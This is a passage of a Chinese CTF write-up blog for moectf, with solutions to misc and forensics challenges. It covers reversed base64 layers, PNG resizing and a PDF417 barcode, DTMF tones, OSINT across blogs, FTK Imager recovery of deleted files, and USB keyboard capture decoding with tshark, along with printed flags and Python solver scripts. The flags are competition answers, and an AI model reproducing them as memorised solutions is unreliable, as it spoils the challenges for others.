operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e text \u003cspan class=\"token operator\"\u003e+=\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"==\"\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eelif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token builtin\"\u003elen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etext\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e%\u003c/span\u003e\u003cspan class=\"token number\"\u003e3\u003c/span\u003e \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e text \u003cspan class=\"token operator\"\u003e+=\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"=\"\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewith\u003c/span\u003e \u003cspan class=\"token builtin\"\u003eopen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e'C:\\\\Users\\\\Users(后面文件路径省略了)'\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e'wb'\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eas\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebase64\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eb64decode\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etext\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"success\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e第一遍看着解出来好东西了,然后第二遍解出来不知道一堆啥东西……然后又不会整了。\u003c/p\u003e\u003cp\u003e突然发现第一遍解出来的东西开头是 \u003ccode\u003e==\u003c/code\u003e ,再想想题目名字……base64倒过来了属于是,然后整了个反转的脚本\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-python\" data-language=\"python\"\u003e\u003ccode class=\"language-python\"\u003e\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e base64\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e systext \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token builtin\"\u003eopen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e'C:\\\\Users\\\\(后面路径省略)'\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eread\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewith\u003c/span\u003e \u003cspan class=\"token builtin\"\u003eopen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e'C:\\\\Users\\\\(后面路径省略)'\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e'w'\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eas\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etext\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"success\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e然后就这么xjb整……遇见解出来不对劲的就反转……然后通过智能人工整了70多次。。。从100多MB整到1KB……得到flag\u003c/p\u003e\u003cimg src=\"https://i.loli.net/2021/09/21/3NzvcCOM6ZYuqRW.png\" alt=\"filp\" style=\"zoom:80%;\" /\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{fffffflipppppp}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"06-White-Album\"\u003e\u003ca href=\"#06-White-Album\" class=\"headerlink\" title=\"06 White Album\"\u003e\u003c/a\u003e06 White Album\u003c/h3\u003e\u003cp\u003e看到 \u003ccode\u003e.png\u003c/code\u003e ,就猜要么是LSB要么是图片尺寸问题,试了一下果然是图片尺寸,在\u003ccode\u003e010 Editor\u003c/code\u003e 里改了下尺寸得到一个申必图案\u003c/p\u003e\u003cimg src=\"https://i.loli.net/2021/09/21/ZpC9ox3itfAJLQm.jpg\" alt=\"whilt\" style=\"zoom:80%;\" /\u003e\u003cp\u003e猜了下是条码,就搜了下条码图案,发现是 \u003ccode\u003epdf417\u003c/code\u003e ,想找个在线扫的发现很难找,最后找到个网站可以解这个\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://online-barcode-reader.inliteresearch.com/\"\u003ehttps://online-barcode-reader.inliteresearch.com/\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e得到flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{WhY_@r3_u_s0_5K1ll3D}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"07-Phone-Call\"\u003e\u003ca href=\"#07-Phone-Call\" class=\"headerlink\" title=\"07 Phone Call\"\u003e\u003c/a\u003e07 Phone Call\u003c/h3\u003e\u003cp\u003e参考博客\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"http://dyf.ink/crypto/classical/others/#_24\"\u003ehttp://dyf.ink/crypto/classical/others/#_24\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/cg1510167/article/details/114279633\"\u003ehttps://blog.csdn.net/cg1510167/article/details/114279633\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/weixin_33806914/article/details/91868832\"\u003ehttps://blog.csdn.net/weixin_33806914/article/details/91868832\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e就拖进AE看就行,手动一个一个解的,得到\u003cdel\u003e很臭的\u003c/del\u003eflag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{114514-1919810-7738-9634}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"08-社工题\"\u003e\u003ca href=\"#08-社工题\" class=\"headerlink\" title=\"08 社工题\"\u003e\u003c/a\u003e08 社工题\u003c/h3\u003e\u003cp\u003e这题可太草了,从假期整到开学……原来有4个博客2个仓库……\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://noahtie.github.io/\"\u003eNoahBox (noahtie.github.io)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://noahbox.github.io/\"\u003ehttps://noahbox.github.io/\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://nuoyazhicheng.lofter.com/\"\u003ehttps://nuoyazhicheng.lofter.com/\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://masternoah.lofter.com/\"\u003ehttps://masternoah.lofter.com/\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e在hexo博客点签订契约进入lofter博客,在lofter博客点一下上面 \u003cstrong\u003ei\u003c/strong\u003e 一样的标志找到另一个hexo博客,在里面留言板里找到了 HackerHS,最后找到第二个仓库根据意思在里面找到commits,发现莫斯电码,复制到在线网站解密,得到flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{HAHAHAHAH_NOAH_IS_A_VEGETABLE_CHICKEN}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"09-好-康-的\"\u003e\u003ca href=\"#09-好-康-的\" class=\"headerlink\" title=\"09 好 康 的\"\u003e\u003c/a\u003e09 好 康 的\u003c/h3\u003e\u003cimg src=\"https://i.loli.net/2021/09/21/qO3mhC6S4aAVXFL.png\" alt=\"rr1\" style=\"zoom:80%;\" /\u003e\u003cp\u003e(被骗一次,之后就会被骗第二次\u003c/p\u003e\u003cp\u003e太草了,放完发现后面有一段不能放,用 \u003ccode\u003emkvtoolnix\u003c/code\u003e 分离出来字幕,拖进\u003ccode\u003e010 Editor\u003c/code\u003e 直接搜索 \u003ccode\u003emoectf\u003c/code\u003e ,找到flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{N3v3r_90tt@_L3t-y0U_dOwN~}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"10-easyForensics\"\u003e\u003ca href=\"#10-easyForensics\" class=\"headerlink\" title=\"10 easyForensics\"\u003e\u003c/a\u003e10 easyForensics\u003c/h3\u003e\u003cp\u003e参考博客\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/luostudent/article/details/113786916?utm_term=base64%E5%AD%97%E7%AC%A6%E4%B8%B2%E8%BD%AC%E6%96%87%E4%BB%B6python\u0026utm_medium=distribute.pc_aggpage_search_result.none-task-blog-2~all~sobaiduweb~default-1-113786916\u0026spm=3001.4430\"\u003ehttps://blog.csdn.net/luostudent/article/details/113786916?utm_term=base64%E5%AD%97%E7%AC%A6%E4%B8%B2%E8%BD%AC%E6%96%87%E4%BB%B6python\u0026amp;utm_medium=distribute.pc_aggpage_search_result.none-task-blog-2~all~sobaiduweb~default-1-113786916\u0026amp;spm=3001.4430\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/qq_37865996/article/details/87970732\"\u003ehttps://blog.csdn.net/qq_37865996/article/details/87970732\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"http://blog.sina.com.cn/s/blog_68f8a3370102vqv7.html\"\u003ehttp://blog.sina.com.cn/s/blog_68f8a3370102vqv7.html\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e找了半天,用 \u003ccode\u003eAccessData FTK Imager\u003c/code\u003e 打开,挂载,进入,翻目录找到 \u003ccode\u003eflag.mp4\u003c/code\u003e 一气呵成\u003c/p\u003e\u003cp\u003e打开 \u003ccode\u003eflag.mp4\u003c/code\u003e \u003c/p\u003e\u003cimg src=\"https://i.loli.net/2021/09/21/qO3mhC6S4aAVXFL.png\" alt=\"rr1\" style=\"zoom:80%;\" /\u003e\u003cp\u003e草\u003c/p\u003e\u003cp\u003e又经过了漫长的鼓捣,最后在 \u003ccode\u003eFTK\u003c/code\u003e 里发现一些被删除的文件夹还有一个python文件,都是申必的命名,全部导出来,读了代码发现是把一个文件转成base64了,这里要注意 \u003ccode\u003edata = data.replace(\u0026quot;/\u0026quot;, \u0026quot;_\u0026quot;)\u003c/code\u003e\u003c/p\u003e\u003cp\u003e写了个脚本把文件夹的名字提取了出来(发现写了两个,好像差不多,随便粘一个)\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-python\" data-language=\"python\"\u003e\u003ccode class=\"language-python\"\u003e\u003cspan class=\"token comment\"\u003e# -*- coding: utf-8 -*-\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e os\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e base64\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e sysfile_dir \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token string\"\u003e'C:\\\\Users\\\\(之后目录省略)'\u003c/span\u003es \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token string\"\u003e''\u003c/span\u003e\u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e root\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e dirs\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e files \u003cspan class=\"token keyword\"\u003ein\u003c/span\u003e os\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewalk\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003efile_dir\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e var \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e root s \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e s \u003cspan class=\"token operator\"\u003e+\u003c/span\u003e var\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e54\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003es \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e s\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ereplace\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"_\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"/\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewith\u003c/span\u003e \u003cspan class=\"token builtin\"\u003eopen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e'C:\\\\Users\\\\(之后目录省略)'\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e'w'\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eas\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003es\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"success\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e然后用脚本把base64转文件,还搜了个大佬写的图形化工具,(最后发现是个word)得到flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{Th@_1s_N0t_U53FULL_@_4LL}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"11-R-P-G\"\u003e\u003ca href=\"#11-R-P-G\" class=\"headerlink\" title=\"11 R P G\"\u003e\u003c/a\u003e11 R P G\u003c/h3\u003e\u003cp\u003e是游戏捏,按F12还能出来 DevTools 捏,本来想怎么改地图直接穿过去,发现不会整,然后又改了下等级,好像也没啥用,然后又整了一下一进去就是第二个,还是不会整,最后在\u003ccode\u003eMap002.json\u003c/code\u003e 里发现了好像base64的申必字符,然后复制出来,得到flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{Th3_w0rld_0f_G4m3}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"12-诺亚的日记\"\u003e\u003ca href=\"#12-诺亚的日记\" class=\"headerlink\" title=\"12 诺亚的日记\"\u003e\u003c/a\u003e12 诺亚的日记\u003c/h3\u003e\u003cp\u003e\u003cdel\u003e我超,嘉心糖\u003c/del\u003e\u003c/p\u003e\u003cp\u003e参考博客\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/qiuchi1975/article/details/106149854/\"\u003ehttps://blog.csdn.net/qiuchi1975/article/details/106149854/\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/u012388993/article/details/116395497\"\u003ehttps://blog.csdn.net/u012388993/article/details/116395497\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.codercto.com/a/109222.html\"\u003ehttps://www.codercto.com/a/109222.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.anquanke.com/post/id/85218\"\u003ehttps://www.anquanke.com/post/id/85218\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.jianshu.com/p/ba9763ceb620\"\u003ehttps://www.jianshu.com/p/ba9763ceb620\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.jianshu.com/p/756aa623c3b5\"\u003ehttps://www.jianshu.com/p/756aa623c3b5\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/ECJTUACM-873284962/p/9473808.html\"\u003ehttps://www.cnblogs.com/ECJTUACM-873284962/p/9473808.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.jianshu.com/p/756aa623c3b5\"\u003ehttps://www.jianshu.com/p/756aa623c3b5\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/ECJTUACM-873284962/p/9473808.html\"\u003ehttps://www.cnblogs.com/ECJTUACM-873284962/p/9473808.html\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e是个流量包捏,随便翻了一下里面 \u003ccode\u003eHID Data\u003c/code\u003e 里好像有好东西捏,但怎么提取出来捏?看了上面的博客,先把流量包用 \u003ccode\u003etshark\u003c/code\u003e 转换成json,找到 \u003ccode\u003eHID Data\u003c/code\u003e 叫啥,然后再提出来\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003etshark.exe \u003cspan class=\"token parameter variable\"\u003e-T\u003c/span\u003e json \u003cspan class=\"token parameter variable\"\u003e-r\u003c/span\u003e pcapng.pcap \u003cspan class=\"token operator\"\u003e\u003e\u003c/span\u003e test.json\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003etshark.exe \u003cspan class=\"token parameter variable\"\u003e-r\u003c/span\u003e pcapng.pcap \u003cspan class=\"token parameter variable\"\u003e-T\u003c/span\u003e fields \u003cspan class=\"token parameter variable\"\u003e-e\u003c/span\u003e usbhid.data \u003cspan class=\"token operator\"\u003e\u003e\u003c/span\u003e usbdata.txt\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e然后看博客里面只有两位是有用的,然后就是对着表翻译。找了好多脚本都是错的,交了很多次……最后终于找到个有用的\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-python\" data-language=\"python\"\u003e\u003ccode class=\"language-python\"\u003e\u003cspan class=\"token comment\"\u003e# coding:utf-8\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e sys\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e osusb_codes \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x04\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"aA\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x05\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"bB\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x06\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"cC\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x07\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"dD\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x08\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"eE\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x09\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"fF\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x0A\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"gG\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x0B\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"hH\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x0C\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"iI\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x0D\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"jJ\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x0E\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"kK\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x0F\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"lL\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"mM\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x11\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"nN\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x12\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"oO\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x13\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"pP\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x14\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"qQ\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"rR\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"sS\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x17\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"tT\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x18\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"uU\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x19\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"vV\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x1A\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"wW\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x1B\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"xX\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x1C\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"yY\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x1D\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"zZ\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x1E\u003c/span\u003e\u003cspan class=\"token 